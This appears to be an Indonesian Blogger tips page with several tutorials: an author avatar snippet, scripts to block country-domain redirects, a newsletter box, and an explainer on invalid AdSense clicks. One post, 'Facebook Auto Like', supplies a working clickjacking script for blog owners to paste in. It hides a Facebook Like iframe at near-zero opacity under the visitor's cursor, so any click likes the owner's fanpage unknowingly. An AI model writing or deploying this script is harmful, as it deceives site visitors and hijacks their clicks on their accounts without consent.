Showing posts with label Tips Blogger. Show all posts
Showing posts with label Tips Blogger. Show all posts

Menambahkan Thumbnail Avatar Pada Post Info


Berikut cara menambahkan thumbnail avatar  pada post info template Revoltify.



Thumbnail avatar ini nantinya akan muncul di halaman postingan blog, silahkan ikuti beberapa langkah penerapannya.



1. Buka Dashboard Blogger

2. Klik Template dan buka Edit HTML

3. Terapkan kode di bawah ini di dalam CSS khusus Item / Post



.post-info {background:transparent;margin-top:5px;margin-bottom:5px;color:#fff;font-size:12px;text-align:left;padding:0;box-shadow:none;}
.post-info a {display:inline;background:transparent;color:#666;padding:4px 6px 4px 6px;transition:all .3s ease-out;}
.post-info a:hover {color:#e76e66;}
.author-info, .time-info, .comment-info, .label-info, .review-info {
margin-right:8px!important;display:inline-block;color:#666;padding:10px;}
.post-info .avatar-author {float:left;border:0;padding:0;width:38px;height:38px;box-shadow:none;}
.post-info {font-size:small;text-align:center;background:#69bedd;padding:0;}
.author-info, .time-info, .comment-info, .label-info, .review-info, .post-info a,.post-info a:hover {color:#fff;}


4. Kemudian terapkan kode di bawah ini tepat sebelum </head>



<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script>
//<![CDATA[
function av(a){var b=a.entry.author[0];c=b.name.$t;d=b.gd$image.src.replace(/\/s[0-9]+(-*c*)\//,'/s38$1/');document.write('<img alt="'+c+'" class="avatar-author" src="'+d+'" title="'+c+'"/>')}
//]]>
</script>
</b:if>


5. Untuk penerapan pada Markup



Cari kode di bawah ini



<b:includable id='post' var='post'>


Selanjutnya cari kode di bawah ini



<div class='post-info'>


Terapkan kode di bawah ini tepat setelah kode di atas



<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script expr:src='&quot;/feeds/posts/default/&quot; + data:post.id + &quot;?alt=json-in-script&amp;amp;callback=av&quot;'/>
</b:if>


Setelah diterapkan akan tampil seperti ini



<div class='post-info'>
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script expr:src='&quot;/feeds/posts/default/&quot; + data:post.id + &quot;?alt=json-in-script&amp;amp;callback=av&quot;'/>
</b:if>


6. Simpan template dan lihat hasilnya.




Cara Memasang Facebook Auto Like di Blog


Saat ini pengguna Facebook yang memliki fanpage semakin meningkat, namun acapkali jumlah like/suka terhadap fanpage yang kita miliki jauh lebih rendah dibandingkan jumlah pertemanan yang kita miliki.

Selain menggunakan cara manual dengan menginvite teman agar menyukai Fanpage yang kita miliki ada juga sacara lain yang lebih praktis dengan memasang script auto like fanpage. Syaratnya kamu harus mempunyai blog atau portal untuk menempatkan script autolike fanpage facebook ini. Mari kita ikuti langkah berikut ini :




Cara kerja script Auto Like Terbaru 2016




  • Jika ada pengunjung blog dalam kondisi login facebook, maka secara otomatis akan me like asal dia malakukan klik dimanapun dalam blog sobat.
  • jika ada pengunjung blog tidak dalam kondisi login facebook, ketika pengunjung tersebut melakukan klik dimanapun dalam blog sobat, maka akan muncul popup halaman login facebook.



Cara Memasang Facebook Auto Like di Blog



1. Login ke Blogger > Buka Template > Klik Edit HTML > Simpan kode di bawah ini tepat di atas kode </body>



<script type='text/javascript'>
//<![CDATA[
// Facebook
var fan_page_url="https://www.facebook.com/Adik-Pintar-IdN-613787612124444/",opacity=.01,time=15e3;(document.getElementById&&window.addEventListener||window.attachEvent)&&!function(){function e(e){var t,n;return h?(t=d.pageYOffset,n=d.pageXOffset):(t=d.scrollTop,n=d.scrollLeft),0==e?t:n}function t(t){var n=h?window.pageYOffset:0;t||(t=window.event),"number"==typeof t.pageY?(r=t.pageY-15-n,l=t.pageX-34):(r=t.clientY-16-n,l=t.clientX-36),u.top=r+e(0)+s,u.left=l+s}function n(){u.top=r+e(0)+s,setTimeout(n,300)}function o(){u=document.getElementById("theiframe").style,n()}function i(e){var t=document.cookie,n=t.indexOf(" "+e+"=");if(-1==n&&(n=t.indexOf(e+"=")),-1==n)t=null;else{n=t.indexOf("=",n)+1;var o=t.indexOf(";",n);-1==o&&(o=t.length),t=unescape(t.substring(n,o))}return t}function a(e,t,n){var o=new Date;o.setDate(o.getDate()+n);var i=escape(t)+(null==n?"":"; expires="+o.toUTCString());document.cookie=e+"="+i}var d,m,c=document,r=-10,l=-10,u="",p=(document.getElementsByTagName("div").length,"<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href="+encodeURIComponent(fan_page_url)+"&amp;layout=stsobatrd&amp;show_faces=true&amp;width=80&amp;action=like&amp;colorscheme=light&amp;height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:"+opacity+";filter:alpha(opacity="+100*opacity+");'></iframe>"),f=i("faceLike");null!=f&&""!=f||(a("faceLike","liked",1),document.write(p),m=document.getElementById("theiframe"),document.getElementsByTagName("body")[0].appendChild(m));var s="px",w="number"==typeof window.innerWidth,h="number"==typeof window.pageYOffset;w?d=window:c.documentElement&&"number"==typeof c.documentElement.clientWidth&&0!=c.documentElement.clientWidth?d=c.documentElement:c.body&&"number"==typeof c.body.clientWidth&&(d=c.body),0!=time&&setTimeout(function(){document.getElementsByTagName("body")[0].removeChild(m),window.addEventListener?document.removeEventListener("mousemove",t,!1):window.attachEvent&&document.detachEvent("onmousemove",t)},time),window.addEventListener?(window.addEventListener("load",o,!1),document.addEventListener("mousemove",t,!1)):window.attachEvent&&(window.attachEvent("onload",o),document.attachEvent("onmousemove",t))}();
//]]>
</script>


2. Ganti kode yang saya tandai dengan alamat fanspage sobat. Kemudian simpan template.



Demikian tutorial sederhana Cara Memasang Facebook Auto Like di Blog. Semoga bermanfaat buat sobat semua.


Cara Mencegah Redirect Otomatis dari blogspot.com ke blogspot.co.id

Pada kesempatan kali ini Adik Pintar IdN akan berbagi tutorial terkait yang tengah hangat diperbincangkan para blogger khususnya blogger di Indonesia mengenai pengalihan blog yang bersubdomain blogspot.com ke blogspot.co.id.

Di sini Saya tidak akan membahas tentang pengalihan ini namun pada artikel ini Saya hanya akan memberikan sebuah tutorial tentang bagaimana Cara Mencegah Redirect otomatis dari blogspot.com ke blogspot.co.id. Sebetulnya tutorial ini sudah lama dan sudah banyak yang berbagi di sumber lain, namun tidak ada salahnya jika sekarang berbagi di sini karena pada saat ini mungkin akan bermanfaat bagi sobat.

Catatan : Bagi pengguna blogger yang sudah memasang iklan Adsense di blognya, disarankan untuk tidak memasang kode yang akan Saya bagikan ini. Karena mungkin akan dianggap menyalahi peraturan kebijakan dari Google Adsense.
Langsung saja ikuti langkah sederhana berikut ini :
1. Buka Blogger > Template > Edit HTML > Kemudian tambahkan kode di bawah ini tepat di bawah <head> atau di atas </head> :



<script type='text/javascript'>
var str=window.location.href.toString();if("-1"==str.indexOf(".com/")){var str1=str.substring(str.lastIndexOf(".blogspot."));if("-1"==str1.indexOf("/"))var str2=str1;else var str2=str1.substring(0,str1.indexOf("/")+1);window.location.href=window.location.href.toString().replace(str2,".blogspot.com/ncr/")}
</script>


Atau bisa juga dengan kode ini :



<script type="text/javascript">
var blog = document.location.hostname;var slug = document.location.pathname;var ctld = blog.substr(blog.lastIndexOf("."));if (ctld != ".com") {var ncr = "http://" + blog.substr(0, blog.indexOf("."));ncr += ".blogspot.com/ncr" + slug;window.location.replace(ncr);}
</script>


2. Simpan template.



Kini dengan menambahkan kode di atas dimanapun lokasi pengunjung yang membuka blog sobat, blog tersebut tidak akan teredirect secara otomatis ke subdomain lain, seperti blogspot.co.id atau blogspot.co.uk.





Demikian mengenai Cara Mencegah Redirect otomatis dari blogspot.com ke blogspot.co.id, selamat mencoba dan semoga bermanfaat.




Cara Membuat Subscription Box Ala Arlina Design

Tutorial blog yang akan saya bagikan kali ini adalah sebuah widget kotak berlangganan / subscription box yang bisa sobat pasang di blog.

Untuk demo tampilan kotak berlangganan seperti blog Adik Pintar IdN (saat ini) bisa sobat lihat pada gambar di bawah ini.



Cara Membuat Subscription Box Ala Arlina Design



Langsung saja, di sini sobat hanya perlu mengikuti langkah-langkah sederhana berikut ini.



1. Buka Blogger > Template > Edit HTML



2. Tambahkan kode di bawah ini di atas kode ]]></b:skin> atau </style>



/* Subscribe Box */
#subscribe-css{position:relative;padding:20px 0;background:#374760;overflow:hidden;border-top:4px solid #eee;}
.subscribe-wrapper{color:#fff;font-size:16px;line-height:normal;margin:0;text-align:center;text-transform:none;font-weight:400;width:100%}
.subscribe-form{clear:both;display:block;overflow:hidden}
form.subscribe-form{clear:both;display:block;margin:0;width:auto;overflow:hidden}
.subscribe-css-email-field{background:#415471;color:#ccc;margin:10px 0;padding:15px 20px;width:35%;border:0}
.subscribe-css-email-button{background:#3cc091;color:#fff;cursor:pointer;font-weight:700;padding:14px 30px;margin-left:15px;text-transform:none;font-size:16px;border:0;border-radius:3px;transition:all .6s}
.subscribe-css-email-button:hover{background:#37b185;}
#subscribe-css p.subscribe-note{margin:16px;text-align:center;color:rgba(255,255,255,.6);font-size:180%;font-weight:400;line-height:normal;}
#subscribe-css p.subscribe-note span {position:relative;overflow:hidden;font-weight:700;transition:all .5s}
#subscribe-css p.subscribe-note span.itatu {font-weight:400;font-style:italic;color:rgba(255,255,255,.6);text-transform:lowercase}
#subscribe-css p.subscribe-note span.itatu:before,#subscribe-css p.subscribe-note span.itatu:after{display:none}
#subscribe-css p.subscribe-note span:before{content:'';position:absolute;bottom:-2px;left:0;width:0;height:3px;margin:10px 0 0;background:rgba(255,255,255,.1);transition:all .5s}
#subscribe-css:hover p.subscribe-note span:before{width:100%;}


Untuk warna dan sebagainya bisa sobat edit kembali sesuai selera


3. Selanjutnya tambahkan markup di bawah ini bebas diantara tag pembuka <body> dan tag penutup </body>. Misalnya seperti blog ini saya tambahkan di bagian Footer-wrapper


<div id='subscribe-css'>
<p class='subscribe-note'><span>SUBSCRIBE</span> <span class='itatu'>TO</span> OUR NEWSLETTER</p>
<div class='subscribe-wrapper'>
<div class='subscribe-form'>
<form action='http://feedburner.google.com/fb/a/mailverify?uri=ArlinaDesign' class='subscribe-form' method='post' onsubmit='window.open (&apos;http://feedburner.google.com/fb/a/mailverify?uri=ArlinaDesign&apos;, &apos;popupwindow&apos;, &apos;scrollbars=yes,width=550,height=520&apos;);return true' target='popupwindow'>
<input name='uri' type='hidden' value='ArlinaDesign'/><input name='loc' type='hidden' value='en_US'/><input autocomplete='off' class='subscribe-css-email-field' name='email' placeholder='Enter your Email'/><input class='subscribe-css-email-button' title='' type='submit' value='submit'/></form>
</div>
</div>
</div>


Ganti semua kode yang ditandai AdikPintarIdN dengan id feedburner blog sobat


4. Setelah itu simpan template dan lihat hasilnya.



Demikian tutorial tentang Cara Membuat Subscription Box Ala Arlina Design. Terima kasih dan semoga bermanfaat.

Cara Mengetahui Aktivitas Klik Invalid Google Adsense

Invalid artinya tidak valid, heuheu.. iya sih. Maksudnya adalah tidak sah. Artinya, ada aktivitas atau klik iklan Google Adsense pada halaman anda yang tidak diakui oleh Google lantaran tidak memenuhi kriteria klik (dan impresi/traffic) yang disyaratkan.

Ini definisi Invalid Click Activity menurut Google:

Invalid click activity consists of any clicks or impressions that may artificially inflate an advertiser's costs or a publisher's earnings, and for which we decide not to charge the advertiser. This includes, but is not limited to, clicks or impressions generated by a publisher clicking on his own ads, a publisher encouraging clicks on his ads, automated clicking tools or traffic sources, robots, or other deceptive software.
 Aktivitas klik invalid terdiri dari klik atau impresi apapun yang bersifat buatan (curang) yang bisa membengkakkan biaya yang harus ditanggung advertiser dan pendapatan publisher, dan oleh karena itu kami memutuskan untuk tidak mengenakan biaya pada advertiser. Hal ini termasuk, tapi tidak terbatas pada, klik dan impresi yang dilakukan oleh publisher sendiri, publisher yang secara sengaja mendorong terjadinya klik oleh orang lain [misalnya: membuat judul "Klik Iklan di Bawah", arisan klik, dan sejenisnya -azmi], perangkat klik atau sumber traffic otomatis, atau software curang lainnya.

Penyebab Aktivitas Klik Invalid


Penyebab yang paling sering ditemui adalah "click bombing", yaitu klik berkali-kali pada iklan Google Adsense di sebuah/beberapa halaman konten yang ditujukan untuk membuat akun Google Adsense dibanned. Ini adalah tindakan tidak fair dan jahat, biasanya dilakukan oleh orang yang iri atau memiliki permasalahan dengan si pemilik akun.

Penyebab lain adalah aktivitas klik sendiri pada iklan; biasanya karena tidak sabar dengan earning/pendapatan Adsense yang rendah. Atau biasanya juga dikarenakan "arisan klik", yaitu beberapa pemilik akun Adsense "bersekongkol" untuk saling melakukan klik.

Yang jarang ditemui tapi terjadi adalah kode Adsense dipasang oleh orang lain pada website/blog yang sama sekali tidak diketahui oleh pemilik akun. Biasanya kode "dicuri" melalui source code dan dipasang di website/blog lain. Padahal website/blog yang dipasangi iklan Adsense tersebut tidak masuk kualifikasi Adsense: berkonten buruk, konten dewasa, konten yang melanggar hak cipta, dan sejenisnya. Bisa jadi pula si pemilik akun sebenarnya tidak punya masalah apa-apa, tapi "musuh" orang yang telah mencuri dan memasang kode Adsense mengincar dan melakukan Click Bombing.

Aktivitas lain yang menciderai aktivitas klik Adsense adalah penggunaan software atau robot tertentu untuk kegiatan mencurangi Adsense dan sumber traffic berkualitas rendah, misalnya pertukaran traffic (traffic exchange, biasanya berkualitas rendah trafficnya) dan metode PTC.

Aktivitas-aktivitas di atas mudah terendus oleh engine Adsense karena pola-pola tertentu, yang kemudian dikembangkan dan disimpulkan sebagai aktivitas invalid. Tindakan selanjutnya ada beberapa, berdasarkan tingkatnya:


  1. Menganggap aktivitas atau klik tertentu invalid dan tidak memberikan nilai CPC (0.0)
  2. Jika diketahui agak belakangan, maka nilai CPC yang telah diberikan akan ditarik kembali.
  3. Jika terjadi dalam kondisi yang dianggap sedikit parah, akan diberikan warning.
  4. Jika terjadi dalam jumlah yang sudah keterlaluan atau telah mengalami beberapa kali masalah yang sama, website/blog dibanned bahkan dalam tahap tertentu akun akan dibanned sepenuhnya.


Poin satu dan dua biasanya terjadi secara otomatis, hanya melibatkan engine Adsense. Sedangkan poin tiga dan empat melibatkan staff Adsense dan dilakukan secara manual.

Cara Mengetahui dan Ciri Invalid Click/Activity


Sayangnya, tidak semua pemilik akun Adsense mawas apabila kemungkinan di atas bisa terjadi. Satu masalah terabaikan begitu saja tanpa diketahui dan tanpa antisipasi atau pembenahan. Kemudian masalah demi masalah yang sama terjadi hingga akhirnya si pemilik akun mendapati akunnya telah dibanned. Hal ini biasanya terjadi jika alat untuk melihat aktivitas invalid minim; demikian juga sarana untuk memperbaikinya.

Khususnya pada Blogger nih, alat untuk mengecek aktivitas invalid belum ada, sebab fitur statistik traffic cuma ala kadarnya. Tidak ada record lengkap. Kita harus menggunakan alat external seperti Google Analytics maupun alat lainnya untuk mendeteksi aktivitas invalid. Dan saya amat yakin tidak semua pemilik akun Adsense mau tongkrongin analytics untuk melihat traffic dan pengunjung yang tidak wajar, karena jelas akan memakan banyak waktu.

Oleh karena itu, mengetahui ciri-ciri aktivitas invalid sangat penting, karena setelah tahu bahwa ada yang tidak beres, pemilik akun bisa melakukan tindakan yang diperlukan sebelum mendapatkan warning atau bahkan sebelum website/blog dan akun dibanned.

Berikut 4 ciri Aktivitas Klik Invalid pada Google Adsense:

1. CTR atau Click Through Rate, rata-rata jumlah klik dan jumlah tayangan (pageviews) di atas 10%. Meskipun di kisaran 10% belum tentu terjadi aktivitas invalid, tapi wajib diwaspadai. Sebab jarang sekali CTR mencapai 10%, bahkan oleh website besar bertraffic tinggi sekalipun. Meskipun CTR 1% atau 2% dinilai sangat rendah, tapi jangan bersenang-senang dulu karena CTR di atas 10%, sebab itu merupakan indikasi ketidakwajaran. CTR di kisaran 5% sudah bisa dibilang sangat bagus. Oh ya, dalam bahasa Indonesia CTR disebut RKT (Rata-Rata Klik dan Tampilan).

CTR/RKT = Jumlah Klik / Jumlah Tayangan x 100 = ...%
 2. Anda tiba-tiba mendapatkan banyak klik tapi nilai kebanyakan klik $0.0, artinya tidak menghasilkan earning sama sekali. Misalnya, anda mendapatkan 30 klik tapi nilai totalnya hanya $0.05 atau bahkan $0.0. Ini artinya engine Adsense tidak memberikan value pada sejumlah besar klik yang didapat; sekaligus memberi indikasi pada Google (dan anda) bahwa sesuatu yang tidak beres terjadi.

3. Earning naik drastis, tapi tidak lama kemudian turun drastis pula. Sebagai contoh, anda mendapatkan $2.45, tapi tidak lama kemudian berubah turun menjadi $0.45. Ini artinya deteksi aktivitas invalid sedikit lebih lambat karena harus melalui beberapa proses, lalu disimpulkan bahwa sejumlah klik tidak sah atau invalid. Ini bukan kesalahan engine Google Adsense, melainkan memang tindakan yang disengaja akibat ditemukan ketidakwajaran.

4. Anda mendapatkan banyak klik dari suatu wilayah (biasanya negara) dengan pageviews yang sangat kecil. Analisisnya membutuhkan traffic analytics seperti Google Analytics atau Statcounter, jika anda pakai Blogger. Jika pakai server sendiri, AW Stats sebagai fitur pelengkap cPanel sudah cukup ampuh untuk dipakai. Google menggunakan paradigma bahwa jika seorang pengunjung melakukan klik, pasti dia sangat tertarik dengan iklan yang ditayangkan. Kemungkinan ini tidak besar. Jika diartikan sebagai perbandingan CTR, maka kira-kira gini cara ngomongnya: "Dari 1000 tampilan unik mungkin hanya (paling banyak) 10-20 tampilan unik yang menyumbangkan klik iklan". Jika klik yang terjadi jauh melampaui paradigma itu, maka kecurigaan akan muncul.

Tindakannya biasanya ada 2. Jika ini baru terjadi satu atau dua kali, biasanya pihak staff akan mendiamkan dan "memaafkan". Maksudnya, kesalahan mungkin terjadi murni oleh pengunjung dan di luar kemampuan pemilik akun. Tapi jika terjadi berkali-kali, diartikan pemilik akun tidak mawas dan tidak berusaha memperbaiki, Jika demikian, kondisi yang lebih serius seperti warrning dan banned bisa terjadi.

Apa yang akan harus jika mendapatkan warning atau website/akun dibanned? Jelas butuh pembahasan tersendiri sebab tidak mungkin 200-300 kata bisa mewakili. Tapi poinnya adalah, sebaiknya sebelum itu terjadi, lakukan tindakan antisipatif berikut:

1. Segera lakukan tindakan penting setelah mengetahui ada yang tidak beres. Misalnya, hentikan dulu penayangan iklan pada website A sampai kondusif. Sayangnya, di Blogger kita tidak bisa banned IP secara langsung (dengan fitur/console), sehingga penghentian penayangan sementara cukup jadi solusi terbaik.

2. Pastikan menggunakan fitur "situs yang diijinkan", sehingga iklan yang ditampilkan oleh orang tidak bertanggungjawab di situs lain akan diabaikan oleh Google.

3. Cek statistik Adsense secara rutin dan berkala untuk melihat kemungkinan terjadinya aktivitas klik invalid. jangan sampai kecolongan hingga beberapa kali.

4. Instal ekstensi (Chrome) Adsense Publisher Toolbar atau instal aplikasi android Google Adsense agar bisa melakukan cek secara realtime, rutin, dan cepat tanpa masuk dashboard.

That's it for now.